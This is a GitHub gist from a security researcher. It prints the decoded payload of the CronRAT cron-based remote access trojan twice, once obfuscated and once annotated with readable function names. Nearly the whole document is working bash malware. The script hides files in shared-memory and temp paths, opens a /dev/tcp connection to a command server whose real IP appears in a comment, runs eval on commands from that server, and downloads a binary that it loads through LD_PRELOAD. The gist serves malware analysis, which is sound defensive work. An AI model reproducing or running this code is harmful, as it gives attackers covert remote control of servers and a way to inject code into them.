Skip to content

Instantly share code, notes, and snippets.

@gwillem
Last active Nov 29, 2021
Embed
What would you like to do?
This is the decoded payload from the CRON loader. Full analysis here: https://sansec.io/research/cronrat
set -eEu
set -o pipefail
trap 'echo "L$LINENO"; O70; exit -1' ERR
O54=4
function O70()
{
if [[ ! -z "${O57+x}" ]]; then
if [[ -f "${O57}" ]]; then
rm -f "${O57}"
fi
fi
}
function O85()
{
echo "F${1}"
O70
exit ${1}
}
function O73()
{
if [[ "$(type ${1} &> /dev/null; echo ${?})" == 0 ]]; then
echo 1
else
echo 0
fi
}
function O63()
{
O27=$(command -v "${1}")
if [[ -u "${O27}" || -g "${O27}" ]]; then
echo 1
else
echo 0
fi
}
if [[ $(O73 "") == 0 ]]; then
O85 8
fi
if [[ $(O63 "") == 1 ]]; then
O85 10
fi
if [[ $(O73 "printf") == 0 || $(O73 "ps") == 0 || $(O73 "od") == 0 || $(O73 "seq") == 0 || $(O73 "dd") == 0 || $(O73 "awk") == 0 ]]; then
O85 6
fi
if [[ $(O73 "crontab") == 0 ]]; then
O85 9
fi
O15=1
O18=2
O12=3
O19=4
O16=5
O13=6
O7=7
O1=10
O10=$(printf '9%.0s' $(seq 1 ${O1}))
O9=3
O36=('/dev/shm;www-shared|server-worker-shared|sql-shared|php-shared' "/run/user/$(id -u);systemd-user.lock|php.lock|php-fpm.lock|www-server.lock" "/tmp;php_sess_$RANDOM$RANDOM$RANDOM|zend_cache__$RANDOM$RANDOM$RANDOM" '/var/tmp;php_cache|www_cache|worker_cahce' "$(pwd);logo_edited_$(date +'%N').png|user_edited_$(date +'%N').jpg|user_edited_$(date +'%N').css|custom_edited_$(date +'%N').css")
O25=0
O17=1
O5=2
function O72()
{
local new_cron=""
local O46=false
while read O39; do
if [[ "${O39:0:13}" != "53 23 31 2 3 " ]]; then
new_cron+="${O39}\n"
else
O46=true
fi
done <<< "$(crontab -l 2>/dev/null)"
if [[ "${O46}" == false ]]; then
echo -n ${O17}
return
fi
echo -e "${new_cron%??}" | crontab - &>/dev/null
if [[ $? != 0 ]]; then
echo -n ${O5}
return
fi
echo -n ${O25}
}
function O71()
{
echo $(( $(awk '{printf "%0.f", $1}' < /proc/uptime) + 1 ))
}
function O65()
{
local today="$(date +'%F')"
local now=$(date +'%s')
local midnight=$(date -d "${today} 0" +%s)
echo "$((${now} - ${midnight}))"
}
O23=$(( $(O71) / (30 * 60) ))
O3=$(( ($(O65) / 60) % 120 ))
if [[ ${O23} -ne 1 ]]; then
if [[ ${O3} -ne 0 ]]; then
O85 0
fi
fi
function O81()
{
echo -n "${1:-$(</dev/stdin)}" | od -An -vtx1 | tr -d ' \n'
}
function O76()
{
echo -n "${1:-$(</dev/stdin)}" | LC_ALL=C awk '{for (i = 1; i <= NF; i++) printf "%c", $i}'
}
function O84()
{
if [[ $(O73 "/bin/lsof") == 0 && $(O73 "/sbin/lsof") == 0 && $(O73 "/bin/fuser") == 0 && $(O73 "/sbin/fuser") == 0 ]]; then
echo -1
fi
local O41=-1
if [[ $(O73 "/bin/lsof") == 1 ]]; then
O41=$(/bin/lsof -t "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
elif [[ $(O73 "/sbin/lsof") == 1 ]]; then
O41=$(/sbin/lsof -t "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
elif [[ $(O73 "/bin/fuser") == 1 ]]; then
O41=$(/bin/fuser "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
O41=$(echo ${O41} | awk '{$1=$1};1')
elif [[ $(O73 "/sbin/fuser") == 1 ]]; then
O41=$(/sbin/fuser "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
O41=$(echo ${O41} | awk '{$1=$1};1')
fi
echo "${O41}" | awk -F' ' '{print $NF}'
}
function O75()
{
"$@" 0>&- 1>&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&-
}
function O74()
{
set +eE
local O41=-1
for O61 in {1..1024}; do
local _o_="$(true 2>/dev/null >&${O61}; echo $?)"
local _i_="$(true 2>/dev/null <&${O61}; echo $?)"
if [[ "${_o_}${_i_}" == "11" ]]; then
O41=${O61}
break
fi
done
set -eE
echo ${O41}
}
function O68()
{
set +eE
O41=$(grep -Eq "^[^ ]+ ${1} [^ ]+ ([^ ]*,)?noexec[, ]" /proc/mounts; echo $?)
set -eE
echo ${O41}
}
function O69()
{
set +eE
O41=$(df -P "${1}" 2>/dev/null)
if [[ ${?} -eq 0 ]]; then
O41=$(echo "${O41}" | tail -1)
if [[ "${O41}" == /dev/mapper/* ]]; then
O41=$(echo "${O41}" | tr -s ' ' | cut -d' ' -f6)
else
O41=$(echo "${O41}" | cut -d' ' -f1)
fi
else
O41=1
fi
set -eE
echo ${O41}
}
function O64()
{
local IFS=$"${1}"
read -r -a arr <<< "${2}"
echo "${arr[@]}"
}
function O62()
{
local IFS=$"${1}"
read -r -a arr <<< "${2}"
echo "${arr[${3}]}"
}
function O66()
{
local O41=0
local O50="${1}"
if [[ -L "${O50}" ]]; then
if [[ -e "${O50}" ]]; then
O50=$(realpath "${O50}")
else
echo 0
return
fi
fi
O31=$(O69 "${O50}")
if [[ "${O31}" != "1" ]]; then
if [[ "${O31}" == "tmpfs" ]]; then
O31="${O50}"
fi
if [[ $(O68 "${O31}") -eq 1 ]]; then
if [[ -e "${O50}" && -d "${O50}" && -w "${O50}" ]]; then
O41=1
fi
fi
fi
echo ${O41}
}
O56=$(O74)
if [[ ${O56} -eq -1 ]]; then
O85 1;
fi
O55="-1"
O58="-1"
O57="-1"
for O35 in "${O36[@]}"; do
O28=($(O64 ';' "${O35}"))
O50="${O28[0]}"
if [[ $(O66 "${O50}") -eq 1 ]]; then
O26=($(O64 '|' "${O28[1]}"))
O55="${O50}"
O58="${O26[$RANDOM$RANDOM$RANDOM % ${#O26[@]}]}"
O57="${O55}/${O58}"
break
fi
done
if [[ "${O55}" == "-1" || "${O58}" == "-1" || "${O57}" == "-1" ]]; then
O85 2;
fi
set +eE
eval "exec ${O56}<>/dev/tcp/796077735/$((0x1bb))" &>/dev/null || O85 5
set -eE
eval "head -c "26" <&${O56}" &> /dev/null
function O67()
{
O60=$(dd if=/dev/urandom bs=1 count=1 2>/dev/null)
if [[ -z ${O60} ]]; then
O60='X';
fi
if [[ ${O60} == $'\n' ]]; then
O60='1';
fi
if [[ ${O60} == $'\'' ]]; then
O60='h';
fi
echo $(( 16#$(O81 "${O60}") ))
}
function O79()
{
local O41=""
for ((i=0; i < ${#1}; i++)); do
O51=$((10#$(printf "%d" "'${1:$i:1}")))
O52=$(printf '%02d ' $((${2} ^ ${O51})) )
O41="${O41}${O52}"
done
O76 "${O41}" | base64 -w0 -
}
function O78()
{
local O41=""
O53=$(echo "${1}" | base64 -w0 -d - | od -An -vtx1 | tr -d ' \n')
O32=$(echo "${1}" | base64 -w0 -d - | wc -c)
for ((i=0; i < $(( ${O32} * 2 )); i+=2)); do
O51=$((16#$(printf ${O53:$i:2})))
O52=$(printf \\$(printf '%03o' $((${2} ^ ${O51})) ) )
O41="${O41}${O52}"
done
echo ${O41}
}
function O83()
{
O60=$(O67)
O21=$(O76 "${O60}")
O8=$(O76 "${2}")
O30=$(O79 "${1}" $O60)
O49=${#O30}
if [[ ${O49} -gt ${O10} ]]; then
O85 3;
fi
O44=$(printf "%0${O9}d" ${O54})
O45=$(printf "%0${O1}d" ${O49})
eval "echo -n '${O21}${O8}${O44}${O45}${O30}' >&${O56}"
}
function O80()
{
O20=${1:-false}
O60=$(head -c "1" <&${O56})
O29=$(head -c "1" <&${O56})
O37=$(head -c "${O9}" <&${O56})
O43=$(head -c "${O1}" <&${O56})
O49=$((10#${O43}))
if [[ ${O49} -gt ${O10} ]]; then
O85 4;
fi
O38=$(head -c "${O49}" <&${O56})
O22=$(( 16#$(O81 "${O60}") ))
if [[ ${O20} == true ]]; then
O6="${O38}"
else
O6=$(O78 "${O38}" ${O22})
fi
echo "${O6}"
}
function O82()
{
head -c "${1}" <&${O56} > /dev/null
}
function O77()
{
eval "exec ${O56}>&-"
}
O83 "yG/uPNaConkVC,pSRB&S]mJ4S[@QM[4+V#M9jLQBI\$1\$}G<^(.rrP~C:+Z,5J<T\`" ${O15}
O83 "cio" ${O18}
O83 "1286cf441288ae88cedf8610943a0ed766c0b59efcf1d6039e435856bfeb6174f8170d4a09f5845418d91bef1c3376ddfc9554bcbdfe928ffa1c745d4ae88ca1" ${O18}
O34=$(O80)
if [[ "${O34}" == "sd" ]]; then
set +eE
O59=$(O72)
set -eE
if [[ ${O59} -eq ${O5} || ${O59} -eq ${O17} ]]; then
O83 "SD${O59}" ${O19}
elif [[ ${O59} -eq ${O25} ]]; then
O83 "SD${O25}" ${O7}
echo "SD"
exit 0
else
O83 "SD${O59}" ${O16}
fi
O83 "cex" ${O18}
O85 0
fi
if [[ "${O34}" == "ev" ]]; then
O48=$(O80)
O59=$(eval "${O48}")
if [[ ! -z "${O59}" ]]; then
O83 "${O59}" ${O13}
fi
O83 "cex" ${O18}
O85 0
fi
if [[ ${O34} -eq 0 ]]; then
O85 0
fi
O83 "prm" ${O18}
O83 "1286cf441288ae88cedf8610943a0ed766c0b59efcf1d6039e435856bfeb6174f8170d4a09f5845418d91bef1c3376ddfc9554bcbdfe928ffa1c745d4ae88ca1" ${O18}
O11=$(O80)
O2=$(O62 '|' "${O11}" 0)
O0=$(O62 '|' "${O11}" 1)
O33=$(O62 '|' "${O11}" 2)
O40=$(O62 '|' "${O11}" 3)
O42=$(O62 '|' "${O11}" 4)
O47=$(O62 '|' "${O11}" 5)
if [[ "${O57}" != "${O2}" ]]; then
if [[ $(O66 $(dirname "${O2}")) -eq 1 ]]; then
O57="${O2}"
fi
fi
O83 "dwn" ${O18}
O4=$(O80 true)
echo "${O4}" | base64 -w0 -d - > "${O57}"
set +eE
O24=$(cd "${O33}" && O75 env "${O0}"="${O40}" LD_PRELOAD=${O57} "${O42}" "${O47}" 1>&2 & O84 "${O57}")
set -eE
if [[ ${O24} -ne -1 ]]; then
O14=5
while [[ ${O14} -ne 0 ]]; do
if ps -p ${O24} &> /dev/null; then
true
else
O83 "ser" ${O19}
O85 7
fi
sleep 1
O14=$((${O14} - 1))
done
O83 "ssc" ${O7}
else
O83 "sun" ${O16}
fi
O83 "cex" ${O18}
O77
#!/bin/bash
# Annotation (C) info@sansec.io 2021
# Analysis here: https://sansec.io/research/cronrat
set -x
set -eEu
set -o pipefail
trap 'echo "L$LINENO"; remove_temp_file; exit -1' ERR
O54=4
function remove_temp_file() {
if [[ ! -z "${writeable_path+x}" ]]; then
if [[ -f "${writeable_path}" ]]; then
# rm -f "${writeable_path}"
echo "not removing path"
fi
fi
}
function exit_with_code() {
echo "F${1}"
# remove_temp_file
exit ${1}
}
function does_func_exist() {
if [[ "$(
type ${1} &>/dev/null
echo ${?}
)" == 0 ]]; then
echo 1
else
echo 0
fi
}
function is_executable_by_user() {
O27=$(command -v "${1}")
if [[ -u "${O27}" || -g "${O27}" ]]; then
echo 1
else
echo 0
fi
}
if [[ $(does_func_exist "") == 0 ]]; then
exit_with_code 8
fi
if [[ $(is_executable_by_user "") == 1 ]]; then
exit_with_code 10
fi
if [[ $(does_func_exist "printf") == 0 || $(does_func_exist "ps") == 0 || $(does_func_exist "od") == 0 || $(does_func_exist "seq") == 0 || $(does_func_exist "dd") == 0 || $(does_func_exist "awk") == 0 ]]; then
exit_with_code 6
fi
if [[ $(does_func_exist "crontab") == 0 ]]; then
exit_with_code 9
fi
O15=1
O18=2
O12=3
O19=4
O16=5
O13=6
O7=7
O1=10
tenGB=9999999999
O9=3
possible_state_files=(
'/dev/shm;www-shared|server-worker-shared|sql-shared|php-shared'
"/run/user/$(id -u);systemd-user.lock|php.lock|php-fpm.lock|www-server.lock"
"/tmp;php_sess_$RANDOM$RANDOM$RANDOM|zend_cache__$RANDOM$RANDOM$RANDOM"
'/var/tmp;php_cache|www_cache|worker_cahce'
"$(pwd);logo_edited_$(date +'%N').png|user_edited_$(date +'%N').jpg|user_edited_$(date +'%N').css|custom_edited_$(date +'%N').css")
O25=0
O17=1
O5=2
function remove_payload_from_crontab() {
local new_cron=""
local O46=false
while read O39; do
if [[ "${O39:0:13}" != "53 23 31 2 3 " ]]; then
new_cron+="${O39}\n"
else
O46=true
fi
done <<<"$(crontab -l 2>/dev/null)"
if [[ "${O46}" == false ]]; then
echo -n ${O17}
return
fi
echo -e "${new_cron%??}" | crontab - &>/dev/null
if [[ $? != 0 ]]; then
echo -n ${O5}
return
fi
echo -n ${O25}
}
function uptime_in_seconds() {
echo $(($(awk '{printf "%0.f", $1}' </proc/uptime) + 1))
}
function sec_since_midnight() {
local today="$(date +'%F')"
local now=$(date +'%s')
local midnight=$(date -d "${today} 0" +%s)
echo "$((${now} - ${midnight}))"
}
uptime_in_half_hours=$(($(uptime_in_seconds) / (30 * 60)))
O3=$((($(sec_since_midnight) / 60) % 120))
# if [[ ${uptime_in_half_hours} -ne 1 ]]; then # second half hour after boot
# if [[ ${O3} -ne 0 ]]; then # is first minute of a 2h block?
# #only run in first half hour after boot?
#exit_with_code 0
# fi
# fi
function to_hex() {
echo -n "${1:-$(</dev/stdin)}" | od -An -vtx1 | tr -d ' \n'
}
function int2ascii() {
echo -n "${1:-$(</dev/stdin)}" | LC_ALL=C awk '{for (i = 1; i <= NF; i++) printf "%c", $i}'
}
function O84() {
if [[ $(does_func_exist "/bin/lsof") == 0 && $(does_func_exist "/sbin/lsof") == 0 && $(does_func_exist "/bin/fuser") == 0 && $(does_func_exist "/sbin/fuser") == 0 ]]; then
echo -1
fi
local O41=-1
if [[ $(does_func_exist "/bin/lsof") == 1 ]]; then
O41=$(/bin/lsof -t "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
elif [[ $(does_func_exist "/sbin/lsof") == 1 ]]; then
O41=$(/sbin/lsof -t "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
elif [[ $(does_func_exist "/bin/fuser") == 1 ]]; then
O41=$(/bin/fuser "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
O41=$(echo ${O41} | awk '{$1=$1};1')
elif [[ $(does_func_exist "/sbin/fuser") == 1 ]]; then
O41=$(/sbin/fuser "${1}" 2>/dev/null)
if [[ ${?} -ne 0 ]]; then echo -1; fi
O41=$(echo ${O41} | awk '{$1=$1};1')
fi
echo "${O41}" | awk -F' ' '{print $NF}'
}
function close_fds() {
"$@" 0>&- 1>&- 2>&- 3>&- 4>&- 5>&- 6>&- 7>&- 8>&- 9>&-
}
function find_available_fd() {
set +eE
local O41=-1
for O61 in {1..1024}; do
local _o_="$(
true 2>/dev/null >&${O61}
echo $?
)"
local _i_="$(
true 2>/dev/null <&${O61}
echo $?
)"
if [[ "${_o_}${_i_}" == "11" ]]; then
O41=${O61}
break
fi
done
set -eE
echo ${O41}
}
function is_mount_noexec() {
set +eE
O41=$(
grep -Eq "^[^ ]+ ${1} [^ ]+ ([^ ]*,)?noexec[, ]" /proc/mounts
echo $?
)
set -eE
echo ${O41}
}
function find_mount_for_path() {
set +eE
O41=$(df -P "${1}" 2>/dev/null)
if [[ ${?} -eq 0 ]]; then
O41=$(echo "${O41}" | tail -1)
if [[ "${O41}" == /dev/mapper/* ]]; then
O41=$(echo "${O41}" | tr -s ' ' | cut -d' ' -f6)
else
O41=$(echo "${O41}" | cut -d' ' -f1)
fi
else
O41=1
fi
set -eE
echo ${O41}
}
function split_tokens() {
local IFS=$"${1}"
# -r : no \ escaping
# -a : assign to arr
read -r -a arr <<<"${2}"
echo "${arr[@]}"
}
function get_xth_token() {
local IFS=$"${1}"
read -r -a arr <<<"${2}"
echo "${arr[${3}]}"
}
function is_path_writable() {
local O41=0
local testpath="${1}"
if [[ -L "${testpath}" ]]; then
if [[ -e "${testpath}" ]]; then
testpath=$(realpath "${testpath}")
else
echo 0
return
fi
fi
O31=$(find_mount_for_path "${testpath}")
if [[ "${O31}" != "1" ]]; then
if [[ "${O31}" == "tmpfs" ]]; then
O31="${testpath}"
fi
if [[ $(is_mount_noexec "${O31}") -eq 1 ]]; then
if [[ -e "${testpath}" && -d "${testpath}" && -w "${testpath}" ]]; then
O41=1
fi
fi
fi
echo ${O41}
}
upstream_fd=$(find_available_fd)
if [[ ${upstream_fd} -eq -1 ]]; then
exit_with_code 1
fi
writable_dir="-1"
writable_file="-1"
writeable_path="-1"
for O35 in "${possible_state_files[@]}"; do
O28=($(split_tokens ';' "${O35}"))
testpath="${O28[0]}"
if [[ $(is_path_writable "${testpath}") -eq 1 ]]; then
O26=($(split_tokens '|' "${O28[1]}"))
writable_dir="${testpath}"
writable_file="${O26[$RANDOM$RANDOM$RANDOM % ${#O26[@]}]}"
writeable_path="${writable_dir}/${writable_file}"
break
fi
done
if [[ "${writable_dir}" == "-1" || "${writable_file}" == "-1" || "${writeable_path}" == "-1" ]]; then
exit_with_code 2
fi
set +eE
# 47.115.46.167 443
eval "exec ${upstream_fd}<>/dev/tcp/127.0.0.1/4444" &>/dev/null || exit_with_code 5
set -eE
eval "head -c "26" <&${upstream_fd}" &>/dev/null
function get_rand_number() {
O60=$(dd if=/dev/urandom bs=1 count=1 2>/dev/null)
if [[ -z ${O60} ]]; then
O60='X'
fi
if [[ ${O60} == $'\n' ]]; then
O60='1'
fi
if [[ ${O60} == $'\'' ]]; then
O60='h'
fi
echo $((16#$(to_hex "${O60}")))
}
function b64encode() {
local O41=""
for ((i = 0; i < ${#1}; i++)); do
hex2dec=$((10#$(printf "%d" "'${1:$i:1}")))
O52=$(printf '%02d ' $((${2} ^ ${hex2dec})))
O41="${O41}${O52}"
done
int2ascii "${O41}" | base64 -w0 -
}
function b64decode() {
local O41=""
in_hex=$(echo "${1}" | base64 -w0 -d - | od -An -vtx1 | tr -d ' \n')
num_chars=$(echo "${1}" | base64 -w0 -d - | wc -c)
for ((i = 0; i < $((${num_chars} * 2)); i += 2)); do
hex2dec=$((16#$(printf ${in_hex:$i:2})))
O52=$(printf \\$(printf '%03o' $((${2} ^ ${hex2dec}))))
O41="${O41}${O52}"
done
echo ${O41}
}
function send_to_upstream() {
O60=$(get_rand_number)
O21=$(int2ascii "${O60}")
O8=$(int2ascii "${2}")
encoded_payload=$(b64encode "${1}" $O60)
O49=${#encoded_payload}
if [[ ${O49} -gt ${tenGB} ]]; then
exit_with_code 3
fi
O44=$(printf "%03d" ${O54})
O45=$(printf "%010d" ${O49})
echo "SS: echo -n '${O21}${O8}${O44}${O45}${encoded_payload}' >&${upstream_fd}"
eval "echo -n '${O21}${O8}${O44}${O45}${encoded_payload}' >&${upstream_fd}"
}
function read_from_upstream() {
O20=${1:-false}
O60=$(head -c "1" <&${upstream_fd})
O29=$(head -c "1" <&${upstream_fd})
O37=$(head -c "3" <&${upstream_fd})
O43=$(head -c "10" <&${upstream_fd})
O49=$((10#${O43}))
if [[ ${O49} -gt ${tenGB} ]]; then
exit_with_code 4
fi
O38=$(head -c "${O49}" <&${upstream_fd})
O22=$((16#$(
to_hex
"${O60}"
)))
if [[ ${O20} == true ]]; then
O6="${O38}"
else
O6=$(b64decode "${O38}" ${O22})
fi
echo "${O6}"
}
function read_xchar_from_upstream() {
head -c "${1}" <&${upstream_fd} >/dev/null
}
function reset_upstream_fd() {
eval "exec ${upstream_fd}>&-"
}
send_to_upstream "yG/uPNaConkVC,pSRB&S]mJ4S[@QM[4+V#M9jLQBI\$1\$}G<^(.rrP~C:+Z,5J<T\`" 1
send_to_upstream "cio" 2
send_to_upstream "1286cf441288ae88cedf8610943a0ed766c0b59efcf1d6039e435856bfeb6174f8170d4a09f5845418d91bef1c3376ddfc9554bcbdfe928ffa1c745d4ae88ca1" 2
O34=$(read_from_upstream)
if [[ "${O34}" == "sd" ]]; then
set +eE
O59=$(remove_payload_from_crontab)
set -eE
if [[ ${O59} -eq ${O5} || ${O59} -eq ${O17} ]]; then
send_to_upstream "SD${O59}" ${O19}
elif [[ ${O59} -eq ${O25} ]]; then
send_to_upstream "SD${O25}" ${O7}
echo "SD"
exit 0
else
send_to_upstream "SD${O59}" ${O16}
fi
send_to_upstream "cex" 2
exit_with_code 0
fi
if [[ "${O34}" == "ev" ]]; then
O48=$(read_from_upstream)
O59=$(eval "${O48}")
if [[ ! -z "${O59}" ]]; then
send_to_upstream "${O59}" ${O13}
fi
send_to_upstream "cex" 2
exit_with_code 0
fi
if [[ ${O34} -eq 0 ]]; then
exit_with_code 0
fi
send_to_upstream "prm" 2
send_to_upstream "1286cf441288ae88cedf8610943a0ed766c0b59efcf1d6039e435856bfeb6174f8170d4a09f5845418d91bef1c3376ddfc9554bcbdfe928ffa1c745d4ae88ca1" 2
O11=$(read_from_upstream)
O2=$(get_xth_token '|' "${O11}" 0)
env_var_name=$(get_xth_token '|' "${O11}" 1)
O33=$(get_xth_token '|' "${O11}" 2)
env_var_value=$(get_xth_token '|' "${O11}" 3)
foreign_cmd=$(get_xth_token '|' "${O11}" 4)
foreign_param=$(get_xth_token '|' "${O11}" 5)
if [[ "${writeable_path}" != "${O2}" ]]; then
if [[ $(is_path_writable $(dirname "${O2}")) -eq 1 ]]; then
writeable_path="${O2}"
fi
fi
send_to_upstream "dwn" 2
O4=$(read_from_upstream true)
echo "${O4}" | base64 -w0 -d - >"${writeable_path}"
set +eE
O24=$(
cd "${O33}" && close_fds env "${env_var_name}"="${env_var_value}" LD_PRELOAD=${writeable_path} "${foreign_cmd}" "${foreign_param}" 1>&2 &
O84 "${writeable_path}"
)
set -eE
if [[ ${O24} -ne -1 ]]; then
O14=5
while [[ ${O14} -ne 0 ]]; do
if ps -p ${O24} &>/dev/null; then
true
else
send_to_upstream "ser" ${O19}
exit_with_code 7
fi
sleep 1
O14=$((${O14} - 1))
done
send_to_upstream "ssc" ${O7}
else
send_to_upstream "sun" ${O16}
fi
send_to_upstream "cex" 2
reset_upstream_fd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment